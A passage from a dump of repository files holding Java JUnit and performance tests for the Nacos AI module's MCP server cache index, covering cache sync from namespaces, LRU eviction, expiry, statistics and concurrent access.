                 return null;\n                });\n        when(namespaceOperationService.getNamespaceList()).thenThrow(new RuntimeException(\"test\"));\n        // 创建一个新的实例来测试startSyncTask方法\n        new CachedMcpServerIndex(configDetailService, namespaceOperationService,\n                configQueryChainService, cacheIndex, scheduledExecutor, true, 10);\n        \n        // 验证调度任务已启动\n        verify(scheduledExecutor).scheduleWithFixedDelay(any(Runnable.class), eq(10L), eq(10L), any(TimeUnit.class));\n    }\n    \n    @Test\n    void testDestroy() {\n        // 模拟一个已经存在的任务\n        when(scheduledExecutor.scheduleWithFixedDelay(any(Runnable.class), anyLong(), anyLong(),\n                any(TimeUnit.class))).then((Answer<?>) invocation -> mock(ScheduledFuture.class));\n        \n        // 创建一个新的实例来测试destroy方法\n        CachedMcpServerIndex indexToDestroy = new CachedMcpServerIndex(configDetailService, namespaceOperationService,\n                configQueryChainService, cacheIndex, scheduledExecutor, true, 300);\n        \n        // 调用destroy方法\n        indexToDestroy.destroy();\n        \n        // 验证调度任务被取消和线程池被关闭\n        verify(scheduledExecutor).shutdown();\n    }\n    \n    @Test\n    void testDestroyWithExceptionHandling() {\n        // 模拟scheduledExecutor.shutdown()抛出异常\n        doThrow(new RuntimeException(\"Shutdown failed\")).when(scheduledExecutor).shutdown();\n        \n        // 创建一个新的实例来测试destroy方法\n        CachedMcpServerIndex indexToDestroy = new CachedMcpServerIndex(configDetailService, namespaceOperationService,\n                configQueryChainService, cacheIndex, scheduledExecutor, true, 300);\n        \n        // 调用destroy方法不应该抛出异常\n        indexToDestroy.destroy();\n    }\n    \n    @Test\n    void testSyncCacheFromDatabase() {\n        // 模拟命名空间列表\n        List<com.alibaba.nacos.api.model.response.Namespace> namespaceList = new ArrayList<>();\n        com.alibaba.nacos.api.model.response.Namespace namespace1 = new com.alibaba.nacos.api.model.response.Namespace();\n        namespace1.setNamespace(\"namespace-1\");\n        com.alibaba.nacos.api.model.response.Namespace namespace2 = new com.alibaba.nacos.api.model.response.Namespace();\n        namespace2.setNamespace(\"namespace-2\");\n        namespaceList.add(namespace1);\n        namespaceList.add(namespace2);\n        when(namespaceOperationService.getNamespaceList()).thenReturn(namespaceList);\n        \n        // 模拟每个命名空间的搜索结果\n        final Page<ConfigInfo> mockPage1 = new Page<>();\n        List<ConfigInfo> configList1 = new ArrayList<>();\n        ConfigInfo configInfo1 = new ConfigInfo();\n        configInfo1.setDataId(\"server1\" + Constants.MCP_SERVER_VERSION_DATA_ID_SUFFIX);\n        configInfo1.setTenant(\"namespace-1\");\n        configInfo1.setContent(\"{\\\"id\\\":\\\"server1\\\"}\");\n        configList1.add(configInfo1);\n        mockPage1.setPageItems(configList1);\n        mockPage1.setTotalCount(1);\n        \n        final Page<ConfigInfo> mockPage2 = new Page<>();\n        List<ConfigInfo> configList2 = new ArrayList<>();\n        ConfigInfo configInfo2 = new ConfigInfo();\n        configInfo2.setDataId(\"server2\" + Constants.MCP_SERVER_VERSION_DATA_ID_SUFFIX);\n        configInfo2.setTenant(\"namespace-2\");\n        configInfo2.setContent(\"{\\\"id\\\":\\\"server2\\\"}\");\n        configList2.add(configInfo2);\n        mockPage2.setPageItems(configList2);\n        mockPage2.setTotalCount(1);\n        \n        when(configDetailService.findConfigInfoPage(eq(Constants.MCP_LIST_SEARCH_BLUR), eq(1), eq(1000), anyString(),\n                eq(Constants.MCP_SERVER_VERSIONS_GROUP), eq(\"namespace-1\"), any())).thenReturn(mockPage1);\n        \n        when(configDetailService.findConfigInfoPage(eq(Constants.MCP_LIST_SEARCH_BLUR), eq(1), eq(1000), anyString(),\n                eq(Constants.MCP_SERVER_VERSIONS_GROUP), eq(\"namespace-2\"), any())).thenReturn(mockPage2);\n        \n        // 调用syncCacheFromDatabase方法（通过triggerCacheSync）\n        cachedIndex.triggerCacheSync();\n        \n        // 验证为每个命名空间调用了搜索\n        verify(configDetailService).findConfigInfoPage(eq(Constants.MCP_LIST_SEARCH_BLUR), eq(1), eq(1000), anyString(),\n                eq(Constants.MCP_SERVER_VERSIONS_GROUP), eq(\"namespace-1\"), any());\n        \n        verify(configDetailService).findConfigInfoPage(eq(Constants.MCP_LIST_SEARCH_BLUR), eq(1), eq(1000), anyString(),\n                eq(Constants.MCP_SERVER_VERSIONS_GROUP), eq(\"namespace-2\"), any());\n        \n        // 验证缓存被更新。当 name=null 时，updateIndex 的第二个参数为 null\n        verify(cacheIndex).updateIndex(eq(\"namespace-1\"), isNull(), eq(\"server1\"));\n        verify(cacheIndex).updateIndex(eq(\"namespace-2\"), isNull(), eq(\"server2\"));\n    }\n    \n    @Test\n    void testSyncCacheFromDatabaseWithSearchException() {\n        // 模拟命名空间列表\n        List<com.alibaba.nacos.api.model.response.Namespace> namespaceList = new ArrayList<>();\n        com.alibaba.nacos.api.model.response.Namespace namespace = new com.alibaba.nacos.api.model.response.Namespace();\n        namespace.setNamespace(\"namespace-1\");\n        namespaceList.add(namespace);\n        when(namespaceOperationService.getNamespaceList()).thenReturn(namespaceList);\n        \n        // 模拟搜索时抛出异常\n        when(configDetailService.findConfigInfoPage(anyString(), anyInt(), anyInt(), anyString(), anyString(),\n                anyString(), any())).thenThrow(new RuntimeException(\"Database error\"));\n        \n        // 调用syncCacheFromDatabase方法（通过triggerCacheSync）\n        cachedIndex.triggerCacheSync();\n        \n        // 即使出现异常也应该继续执行而不会中断\n        verify(configDetailService).findConfigInfoPage(eq(Constants.MCP_LIST_SEARCH_BLUR), eq(1), eq(1000), anyString(),\n                eq(Constants.MCP_SERVER_VERSIONS_GROUP), eq(\"namespace-1\"), any());\n    }\n    \n    @Test\n    void testSyncCacheFromDatabaseWithEmptyResult() {\n        // 模拟命名空间列表\n        List<com.alibaba.nacos.api.model.response.Namespace> namespaceList = new ArrayList<>();\n        com.alibaba.nacos.api.model.response.Namespace namespace = new com.alibaba.nacos.api.model.response.Namespace();\n        namespace.setNamespace(\"namespace-1\");\n        namespaceList.add(namespace);\n        when(namespaceOperationService.getNamespaceList()).thenReturn(namespaceList);\n        \n        // 模拟空的搜索结果\n        Page<ConfigInfo> mockPage = new Page<>();\n        mockPage.setPageItems(new ArrayList<>());\n        mockPage.setTotalCount(0);\n        \n        when(configDetailService.findConfigInfoPage(eq(Constants.MCP_LIST_SEARCH_BLUR), eq(1), eq(1000), anyString(),\n                eq(Constants.MCP_SERVER_VERSIONS_GROUP), eq(\"namespace-1\"), any())).thenReturn(mockPage);\n        \n        // 调用syncCacheFromDatabase方法（通过triggerCacheSync）\n        cachedIndex.triggerCacheSync();\n        \n        // 验证搜索被调用但缓存未更新\n        verify(configDetailService).findConfigInfoPage(eq(Constants.MCP_LIST_SEARCH_BLUR), eq(1), eq(1000), anyString(),\n                eq(Constants.MCP_SERVER_VERSIONS_GROUP), eq(\"namespace-1\"), any());\n        \n        // 没有数据所以不需要更新缓存\n        verify(cacheIndex, never()).updateIndex(anyString(), anyString(), anyString());\n    }\n    \n    @Test\n    void testSyncCacheFromDatabaseWithException() {\n        // 模拟命名空间列表\n        List<com.alibaba.nacos.api.model.response.Namespace> namespaceList = new ArrayList<>();\n        com.alibaba.nacos.api.model.response.Namespace namespace = new com.alibaba.nacos.api.model.response.Namespace();\n        namespace.setNamespace(\"test-namespace\");\n        namespaceList.add(namespace);\n        when(namespaceOperationService.getNamespaceList()).thenReturn(namespaceList);\n        \n        // 模拟搜索时抛出异常\n        when(configDetailService.findConfigInfoPage(anyString(), anyInt(), anyInt(), anyString(), anyString(),\n                anyString(), any())).thenThrow(new RuntimeException(\"Test exception\"));\n        \n        // 通过调用triggerCacheSync来触发syncCacheFromDatabase\n        cachedIndex.triggerCacheSync();\n        \n        // 验证异常被处理，不会导致程序崩溃\n        verify(namespaceOperationService).getNamespaceList();\n    }\n}"
  },
  {
    "path": "ai/src/test/java/com/alibaba/nacos/ai/index/McpCachePerformanceTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.index;\n\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nimport java.util.HashSet;\nimport java.util.Set;\nimport java.util.concurrent.CountDownLatch;\nimport java.util.concurrent.ExecutorService;\nimport java.util.concurrent.Executors;\nimport java.util.concurrent.TimeUnit;\nimport java.util.concurrent.atomic.AtomicLong;\n\nimport com.alibaba.nacos.ai.config.McpCacheIndexProperties;\nimport org.junit.jupiter.api.Test;\n\n/**\n * MCP缓存性能测试.\n *\n * @author misselvexu\n */\npublic class McpCachePerformanceTest {\n    \n    private static final int THREAD_COUNT = 10;\n    \n    private static final int OPERATION_COUNT = 10000;\n    \n    private static final int CACHE_SIZE = 1000;\n    \n    // 实际测试中使用的键数量，确保在缓存容量范围内，避免频繁缓存替换\n    private static final int EFFECTIVE_KEY_COUNT = 800;\n    \n    /**\n     * Create test configuration properties.\n     */\n    private static McpCacheIndexProperties createTestProperties(int maxSize, long expireTimeSeconds,\n            long cleanupIntervalSeconds) {\n        McpCacheIndexProperties properties = new McpCacheIndexProperties();\n        properties.setMaxSize(maxSize);\n        properties.setExpireTimeSeconds(expireTimeSeconds);\n        properties.setCleanupIntervalSeconds(cleanupIntervalSeconds);\n        return properties;\n    }\n    \n    public static void main(String[] args) {\n        System.out.println(\"开始MCP缓存性能测试...\");\n        \n        // 测试内存缓存性能\n        testMemoryCachePerformance();\n        \n        // 测试并发性能\n        testConcurrentPerformance();\n        \n        // 验证修复效果：确保生成的键数量在合理范围内\n        // testKeyGenerationValidation(); // 现在作为JUnit测试运行\n        \n        System.out.println(\"性能测试完成！\");\n    }\n    \n    /**\n     * 测试内存缓存性能.\n     */\n    private static void testMemoryCachePerformance() {\n        System.out.println(\"\\n=== 内存缓存性能测试 ===\");\n        \n        MemoryMcpCacheIndex cacheIndex = new MemoryMcpCacheIndex(createTestProperties(CACHE_SIZE, 3600, 300));\n        \n        // 预热缓存 - 使用有效键数量，避免超出缓存容量\n        System.out.println(\"预热缓存...\");\n        for (int i = 0; i < EFFECTIVE_KEY_COUNT; i++) {\n            String namespaceId = \"namespace-\" + (i % 10);\n            String mcpName = \"mcp-\" + i;\n            String mcpId = \"id-\" + i;\n            cacheIndex.updateIndex(namespaceId, mcpName, mcpId);\n        }\n        \n        // 测试查询性能\n        System.out.println(\"测试查询性能...\");\n        long startTime = System.nanoTime();\n        \n        for (int i = 0; i < OPERATION_COUNT; i++) {\n            String namespaceId = \"namespace-\" + (i % 10);\n            String mcpName = \"mcp-\" + (i % EFFECTIVE_KEY_COUNT);\n            cacheIndex.getMcpId(namespaceId, mcpName);\n        }\n        \n        long endTime = System.nanoTime();\n        long duration = TimeUnit.NANOSECONDS.toMillis(endTime - startTime);\n        \n        System.out.printf(\"查询 %d 次操作耗时: %d ms\\n\", OPERATION_COUNT, duration);\n        System.out.printf(\"平均每次查询耗时: %.2f μs\\n\", (duration * 1000.0) / OPERATION_COUNT);\n        \n        // 测试更新性能\n        System.out.println(\"测试更新性能...\");\n        startTime = System.nanoTime();\n        \n        for (int i = 0; i < OPERATION_COUNT; i++) {\n            String namespaceId = \"namespace-\" + (i % 10);\n            // 模拟真实的更新场景：大部分更新现有键，少部分创建新键\n            int keyIndex = i % (EFFECTIVE_KEY_COUNT + 100); // 允许少量超出有效范围的新键\n            String mcpName = \"mcp-\" + keyIndex;\n            String mcpId = \"id-\" + keyIndex;\n            cacheIndex.updateIndex(namespaceId, mcpName, mcpId);\n        }\n        \n        endTime = System.nanoTime();\n        duration = TimeUnit.NANOSECONDS.toMillis(endTime - startTime);\n        \n        System.out.printf(\"更新 %d 次操作耗时: %d ms\\n\", OPERATION_COUNT, duration);\n        System.out.printf(\"平均每次更新耗时: %.2f μs\\n\", (duration * 1000.0) / OPERATION_COUNT);\n        \n        // 显示缓存统计\n        McpCacheIndex.CacheStats stats = cacheIndex.getStats();\n        System.out.printf(\"缓存统计 - 命中次数: %d, 未命中次数: %d, 命中率: %.2f%%, 缓存大小: %d\\n\",\n                stats.getHitCount(), stats.getMissCount(), stats.getHitRate() * 100, stats.getSize());\n    }\n    \n    /**\n     * 测试并发性能.\n     *\n     * <p>修复说明：\n     * 1. 使用EFFECTIVE_KEY_COUNT限制实际使用的键数量，避免超出缓存容量 2. 在并发更新测试中，80%操作更新现有键，20%操作创建新键，更真实地模拟实际场景 3.\n     * 确保生成的键数量在合理范围内，避免频繁的缓存替换和内存压力\n     */\n    private static void testConcurrentPerformance() {\n        System.out.println(\"\\n=== 并发性能测试 ===\");\n        \n        MemoryMcpCacheIndex cacheIndex = new MemoryMcpCacheIndex(createTestProperties(CACHE_SIZE, 3600, 300));\n        \n        // 预热缓存 - 使用有效键数量，避免超出缓存容量\n        System.out.println(\"预热缓存...\");\n        for (int i = 0; i < EFFECTIVE_KEY_COUNT; i++) {\n            String namespaceId = \"namespace-\" + (i % 10);\n            String mcpName = \"mcp-\" + i;\n            String mcpId = \"id-\" + i;\n            cacheIndex.updateIndex(namespaceId, mcpName, mcpId);\n        }\n        \n        // 并发查询测试\n        System.out.printf(\"启动 %d 个线程进行并发查询测试...\\n\", THREAD_COUNT);\n        ExecutorService executor = Executors.newFixedThreadPool(THREAD_COUNT);\n        CountDownLatch latch = new CountDownLatch(THREAD_COUNT);\n        AtomicLong totalOperations = new AtomicLong(0);\n        \n        long startTime = System.nanoTime();\n        \n        for (int t = 0; t < THREAD_COUNT; t++) {\n            final int threadId = t;\n            executor.submit(() -> {\n                try {\n                    for (int i = 0; i < OPERATION_COUNT; i++) {\n                        String namespaceId = \"namespace-\" + (threadId % 10);\n                        String mcpName = \"mcp-\" + (i % EFFECTIVE_KEY_COUNT);\n                        cacheIndex.getMcpId(namespaceId, mcpName);\n                        totalOperations.incrementAndGet();\n                    }\n                } finally {\n                    latch.countDown();\n                }\n            });\n        }\n        \n        try {\n            latch.await();\n        } catch (InterruptedException e) {\n            Thread.currentThread().interrupt();\n        }\n        \n        long endTime = System.nanoTime();\n        long duration = TimeUnit.NANOSECONDS.toMillis(endTime - startTime);\n        \n        System.out.printf(\"并发查询 %d 次操作耗时: %d ms\\n\", totalOperations.get(), duration);\n        System.out.printf(\"平均每次查询耗时: %.2f μs\\n\", (duration * 1000.0) / totalOperations.get());\n        System.out.printf(\"吞吐量: %.2f ops/ms\\n\", (double) totalOperations.get() / duration);\n        \n        // 并发更新测试\n        System.out.printf(\"启动 %d 个线程进行并发更新测试...\\n\", THREAD_COUNT);\n        CountDownLatch updateLatch = new CountDownLatch(THREAD_COUNT);\n        AtomicLong totalUpdates = new AtomicLong(0);\n        \n        startTime = System.nanoTime();\n        \n        for (int t = 0; t < THREAD_COUNT; t++) {\n            final int threadId = t;\n            executor.submit(() -> {\n                try {\n                    for (int i = 0; i < OPERATION_COUNT; i++) {\n                        String namespaceId = \"namespace-\" + (threadId % 10);\n                        // 使用模运算确保键的数量在有效范围内，模拟真实的缓存更新场景\n                        // 80%的操作更新现有键，20%的操作创建新键（在有效范围内）\n                        int keyIndex;\n                        if (i % 5 == 0) {\n                            // 20%的操作：创建新键（在有效范围内）\n                            keyIndex = (threadId * 50 + i) % EFFECTIVE_KEY_COUNT;\n                        } else {\n                            // 80%的操作：更新现有键\n                            keyIndex = i % EFFECTIVE_KEY_COUNT;\n                        }\n                        String mcpName = \"mcp-\" + keyIndex;\n                        String mcpId = \"id-\" + keyIndex;\n                        cacheIndex.updateIndex(namespaceId, mcpName, mcpId);\n                        totalUpdates.incrementAndGet();\n                    }\n                } finally {\n                    updateLatch.countDown();\n                }\n            });\n        }\n        \n        try {\n            updateLatch.await();\n        } catch (InterruptedException e) {\n            Thread.currentThread().interrupt();\n        }\n        \n        endTime = System.nanoTime();\n        duration = TimeUnit.NANOSECONDS.toMillis(endTime - startTime);\n        \n        System.out.printf(\"并发更新 %d 次操作耗时: %d ms\\n\", totalUpdates.get(), duration);\n        System.out.printf(\"平均每次更新耗时: %.2f μs\\n\", (duration * 1000.0) / totalUpdates.get());\n        System.out.printf(\"吞吐量: %.2f ops/ms\\n\", (double) totalUpdates.get() / duration);\n        \n        executor.shutdown();\n        \n        // 显示最终缓存统计\n        McpCacheIndex.CacheStats stats = cacheIndex.getStats();\n        System.out.printf(\"最终缓存统计 - 命中次数: %d, 未命中次数: %d, 命中率: %.2f%%, 缓存大小: %d\\n\",\n                stats.getHitCount(), stats.getMissCount(), stats.getHitRate() * 100, stats.getSize());\n    }\n    \n    /**\n     * 测试缓存大小对性能的影响.\n     */\n    private static void testCacheSizeImpact() {\n        System.out.println(\"\\n=== 缓存大小对性能的影响测试 ===\");\n        \n        int[] cacheSizes = {100, 1000, 10000, 100000};\n        \n        for (int size : cacheSizes) {\n            System.out.printf(\"\\n测试缓存大小: %d\\n\", size);\n            \n            MemoryMcpCacheIndex cacheIndex = new MemoryMcpCacheIndex(createTestProperties(size, 3600, 300));\n            \n            // 预热缓存\n            for (int i = 0; i < size; i++) {\n                String namespaceId = \"namespace-\" + (i % 10);\n                String mcpName = \"mcp-\" + i;\n                String mcpId = \"id-\" + i;\n                cacheIndex.updateIndex(namespaceId, mcpName, mcpId);\n            }\n            \n            // 测试查询性能\n            long startTime = System.nanoTime();\n            \n            for (int i = 0; i < 10000; i++) {\n                String namespaceId = \"namespace-\" + (i % 10);\n                String mcpName = \"mcp-\" + (i % size);\n                cacheIndex.getMcpId(namespaceId, mcpName);\n            }\n            \n            long endTime = System.nanoTime();\n            long duration = TimeUnit.NANOSECONDS.toMillis(endTime - startTime);\n            \n            System.out.printf(\"查询 10000 次操作耗时: %d ms, 平均: %.2f μs\\n\", duration, (duration * 1000.0) / 10000);\n            \n            // 显示内存使用情况\n            Runtime runtime = Runtime.getRuntime();\n            long memoryUsed = runtime.totalMemory() - runtime.freeMemory();\n            System.out.printf(\"内存使用: %.2f MB\\n\", memoryUsed / (1024.0 * 1024.0));\n        }\n    }\n    \n    /**\n     * 验证修复效果：确保生成的键数量在合理范围内.\n     */\n    @Test\n    void testKeyGenerationValidation() {\n        System.out.println(\"\\n=== 键生成验证测试 ===\");\n        \n        int threadCount = 10;\n        int operationCount = 10000;\n        int cacheSize = 1000;\n        int effectiveKeyCount = 800;\n        \n        // 模拟并发更新测试中的键生成逻辑\n        Set<String> generatedKeys = new HashSet<>();\n        \n        for (int t = 0; t < threadCount; t++) {\n            final int threadId = t;\n            for (int i = 0; i < operationCount; i++) {\n                int keyIndex;\n                if (i % 5 == 0) {\n                    // 20%的操作：创建新键（在有效范围内）\n                    keyIndex = (threadId * 50 + i) % effectiveKeyCount;\n                } else {\n                    // 80%的操作：更新现有键\n                    keyIndex = i % effectiveKeyCount;\n                }\n                String mcpName = \"mcp-\" + keyIndex;\n                generatedKeys.add(mcpName);\n            }\n        }\n        \n        System.out.printf(\"线程数: %d, 操作数: %d, 缓存大小: %d, 有效键数: %d\\n\", threadCount, operationCount,\n                cacheSize, effectiveKeyCount);\n        System.out.printf(\"实际生成的唯一键数量: %d\\n\", generatedKeys.size());\n        System.out.printf(\"键数量是否在合理范围内: %s\\n\", generatedKeys.size() <= effectiveKeyCount ? \"是\" : \"否\");\n        \n        // 验证键的范围\n        boolean allKeysInRange = generatedKeys.stream().allMatch(key -> {\n            try {\n                int keyNum = Integer.parseInt(key.substring(4)); // 去掉\"mcp-\"前缀\n                return keyNum >= 0 && keyNum < effectiveKeyCount;\n            } catch (NumberFormatException e) {\n                return false;\n            }\n        });\n        \n        System.out.printf(\"所有键都在有效范围内: %s\\n\", allKeysInRange ? \"是\" : \"否\");\n        \n        // 断言验证\n        assertTrue(generatedKeys.size() <= effectiveKeyCount, \"生成的键数量应该不超过有效键数量\");\n        assertTrue(allKeysInRange, \"所有生成的键都应该在有效范围内\");\n        \n        // 验证修复效果：键数量应该远小于原来的100,000\n        assertTrue(generatedKeys.size() < 1000, \"修复后生成的键数量应该远小于原来的100,000\");\n    }\n} "
  },
  {
    "path": "ai/src/test/java/com/alibaba/nacos/ai/index/MemoryMcpCacheIndexTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.index;\n\nimport com.alibaba.nacos.ai.config.McpCacheIndexProperties;\nimport com.alibaba.nacos.ai.model.mcp.McpServerIndexData;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.mockito.Mockito;\nimport org.springframework.test.util.ReflectionTestUtils;\n\nimport java.util.concurrent.CountDownLatch;\nimport java.util.concurrent.ExecutorService;\nimport java.util.concurrent.Executors;\nimport java.util.concurrent.ScheduledExecutorService;\nimport java.util.concurrent.TimeUnit;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.ArgumentMatchers.anyLong;\nimport static org.mockito.Mockito.never;\nimport static org.mockito.Mockito.verify;\nimport static org.mockito.Mockito.when;\n\nclass MemoryMcpCacheIndexTest {\n    \n    private MemoryMcpCacheIndex cache;\n    \n    private McpCacheIndexProperties props;\n    \n    @BeforeEach\n    void setUp() {\n        props = new McpCacheIndexProperties();\n        props.setMaxSize(3);\n        props.setExpireTimeSeconds(2); // 2秒过期\n        cache = new MemoryMcpCacheIndex(props);\n    }\n    \n    @Test\n    void testPutAndGet() {\n        cache.updateIndex(\"ns\", \"name\", \"id1\");\n        assertEquals(\"id1\", cache.getMcpId(\"ns\", \"name\"));\n        McpServerIndexData data = cache.getMcpServerById(\"id1\");\n        assertNotNull(data);\n        assertEquals(\"id1\", data.getId());\n        assertEquals(\"ns\", data.getNamespaceId());\n    }\n    \n    @Test\n    void testRemoveByNameAndId() {\n        cache.updateIndex(\"ns\", \"name\", \"id1\");\n        cache.removeIndex(\"ns\", \"name\");\n        assertNull(cache.getMcpId(\"ns\", \"name\"));\n        assertNull(cache.getMcpServerById(\"id1\"));\n        cache.updateIndex(\"ns\", \"name\", \"id2\");\n        cache.removeIndex(\"id2\");\n        assertNull(cache.getMcpId(\"ns\", \"name\"));\n        assertNull(cache.getMcpServerById(\"id2\"));\n    }\n    \n    @Test\n    void testClear() {\n        cache.updateIndex(\"ns1\", \"a\", \"id1\");\n        cache.updateIndex(\"ns2\", \"b\", \"id2\");\n        cache.clear();\n        assertEquals(0, cache.getSize());\n        assertNull(cache.getMcpId(\"ns1\", \"a\"));\n        assertNull(cache.getMcpId(\"ns2\", \"b\"));\n    }\n    \n    @Test\n    void testLruEviction() {\n        cache.updateIndex(\"ns\", \"a\", \"id1\");\n        cache.updateIndex(\"ns\", \"b\", \"id2\");\n        cache.updateIndex(\"ns\", \"c\", \"id3\");\n        // 访问id1，保持活跃\n        cache.getMcpServerById(\"id1\");\n        // 插入新元素，应该淘汰id2（最久未访问）\n        cache.updateIndex(\"ns\", \"d\", \"id4\");\n        assertNull(cache.getMcpServerById(\"id2\"));\n        assertNotNull(cache.getMcpServerById(\"id1\"));\n        assertNotNull(cache.getMcpServerById(\"id3\"));\n        assertNotNull(cache.getMcpServerById(\"id4\"));\n        assertEquals(3, cache.getSize());\n    }\n    \n    @Test\n    void testExpire() throws InterruptedException {\n        cache.updateIndex(\"ns\", \"a\", \"id1\");\n        Thread.sleep(2100); // 超过2秒\n        assertNull(cache.getMcpServerById(\"id1\"));\n        assertNull(cache.getMcpId(\"ns\", \"a\"));\n        assertEquals(0, cache.getSize());\n    }\n    \n    @Test\n    void testUpdateExistingEntry() {\n        cache.updateIndex(\"ns\", \"a\", \"id1\");\n        cache.updateIndex(\"ns\", \"a\", \"id1\"); // 再次put\n        assertEquals(\"id1\", cache.getMcpId(\"ns\", \"a\"));\n        assertEquals(1, cache.getSize());\n    }\n    \n    @Test\n    void testStats() {\n        cache.updateIndex(\"ns\", \"a\", \"id1\");\n        cache.getMcpId(\"ns\", \"a\"); // hit\n        cache.getMcpId(\"ns\", \"b\"); // miss\n        cache.getMcpId(\"ns\", \"a\"); // hit\n        McpCacheIndex.CacheStats stats = cache.getStats();\n        assertEquals(2, stats.getHitCount());\n        assertEquals(1, stats.getMissCount());\n        assertEquals(0, stats.getEvictionCount());\n        assertEquals(1, stats.getSize());\n    }\n    \n    @Test\n    void testConcurrentPutAndGet() throws InterruptedException {\n        int threadCount = 3; // 减少线程数\n        int opCount = 10; // 减少操作数\n        ExecutorService executor = Executors.newFixedThreadPool(threadCount);\n        CountDownLatch latch = new CountDownLatch(threadCount);\n        \n        for (int i = 0; i < threadCount; i++) {\n            int idx = i;\n            executor.submit(() -> {\n                try {\n                    for (int j = 0; j < opCount; j++) {\n                        String ns = \"ns\" + (idx % 3);\n                        String name = \"name\" + (j % 5);\n                        String id = \"id\" + (idx * opCount + j);\n                        cache.updateIndex(ns, name, id);\n                        cache.getMcpId(ns, name);\n                    }\n                } finally {\n                    latch.countDown();\n                }\n            });\n        }\n        \n        // 增加等待时间\n        boolean completed = latch.await(10, TimeUnit.SECONDS);\n        assertTrue(completed, \"All threads should complete within timeout\");\n        \n        // 关闭线程池并等待所有任务完成\n        executor.shutdown();\n        boolean terminated = executor.awaitTermination(10, TimeUnit.SECONDS);\n        assertTrue(terminated, \"Executor should terminate within timeout\");\n        \n        // 验证缓存大小不超过限制，并且缓存功能正常\n        int finalSize = cache.getSize();\n        assertTrue(finalSize <= props.getMaxSize(),\n                \"Cache size \" + finalSize + \" should not exceed maxSize \" + props.getMaxSize());\n        \n        // 验证缓存仍然可以正常工作\n        if (finalSize > 0) {\n            // 尝试获取一个存在的key，验证缓存功能\n            cache.updateIndex(\"test\", \"test\", \"test-id\");\n            String result = cache.getMcpId(\"test\", \"test\");\n            assertNotNull(result, \"Cache should still work after concurrent operations\");\n        }\n    }\n    \n    @Test\n    void testRemoveNonExist() {\n        cache.removeIndex(\"ns\", \"not-exist\");\n        cache.removeIndex(\"not-exist-id\");\n        // 不抛异常\n    }\n    \n    @Test\n    void testPutNullOrBlank() {\n        cache.updateIndex(null, \"a\", \"id1\");\n        cache.updateIndex(\"ns\", null, \"id1\");\n        cache.updateIndex(\"ns\", \"a\", null);\n        assertNull(cache.getMcpId(null, \"a\"));\n        assertNull(cache.getMcpId(\"ns\", null));\n        assertNull(cache.getMcpId(\"ns\", \"a\"));\n        assertEquals(0, cache.getSize());\n    }\n    \n    @Test\n    void testEvictionCount() {\n        cache.updateIndex(\"ns\", \"a\", \"id1\");\n        cache.updateIndex(\"ns\", \"b\", \"id2\");\n        cache.updateIndex(\"ns\", \"c\", \"id3\");\n        cache.updateIndex(\"ns\", \"d\", \"id4\"); // 淘汰1个\n        assertEquals(1, cache.getStats().getEvictionCount());\n    }\n    \n    @Test\n    void testExpireDoesNotAffectOthers() throws InterruptedException {\n        cache.updateIndex(\"ns\", \"a\", \"id1\");\n        cache.updateIndex(\"ns\", \"b\", \"id2\");\n        Thread.sleep(2100);\n        assertNull(cache.getMcpServerById(\"id1\"));\n        assertNull(cache.getMcpServerById(\"id2\"));\n        assertEquals(0, cache.getSize());\n    }\n    \n    @Test\n    void testGetMcpServerByName() {\n        cache.updateIndex(\"ns\", \"a\", \"id1\");\n        McpServerIndexData data = cache.getMcpServerByName(\"ns\", \"a\");\n        assertNotNull(data);\n        assertEquals(\"id1\", data.getId());\n        assertEquals(\"ns\", data.getNamespaceId());\n        assertNull(cache.getMcpServerByName(\"ns\", \"not-exist\"));\n    }\n    \n    // 新增缓存删除功能测试\n    \n    @Test\n    void testRemoveByNameDeletesCorrectMapping() {\n        // 准备多个映射\n        cache.updateIndex(\"ns1\", \"name1\", \"id1\");\n        cache.updateIndex(\"ns1\", \"name2\", \"id2\");\n        cache.updateIndex(\"ns2\", \"name1\", \"id3\");\n        \n        // 删除特定命名空间的特定名称\n        cache.removeIndex(\"ns1\", \"name1\");\n        \n        // 验证只有正确的映射被删除\n        assertNull(cache.getMcpId(\"ns1\", \"name1\"));\n        assertNull(cache.getMcpServerById(\"id1\"));\n        \n        // 验证其他映射仍然存在\n        assertEquals(\"id2\", cache.getMcpId(\"ns1\", \"name2\"));\n        assertEquals(\"id3\", cache.getMcpId(\"ns2\", \"name1\"));\n        assertNotNull(cache.getMcpServerById(\"id2\"));\n        assertNotNull(cache.getMcpServerById(\"id3\"));\n        \n        assertEquals(2, cache.getSize());\n    }\n    \n    @Test\n    void testRemoveByIdDeletesAllRelatedMappings() {\n        // 准备数据，一个ID对应一个名称映射\n        cache.updateIndex(\"ns1\", \"name1\", \"id1\");\n        cache.updateIndex(\"ns1\", \"name2\", \"id2\");\n        cache.updateIndex(\"ns2\", \"name1\", \"id3\");\n        \n        // 通过ID删除\n        cache.removeIndex(\"id2\");\n        \n        // 验证ID对应的数据被删除\n        assertNull(cache.getMcpServerById(\"id2\"));\n        \n        // 验证名称到ID的映射也被清理\n        assertNull(cache.getMcpId(\"ns1\", \"name2\"));\n        \n        // 验证其他数据仍然存在\n        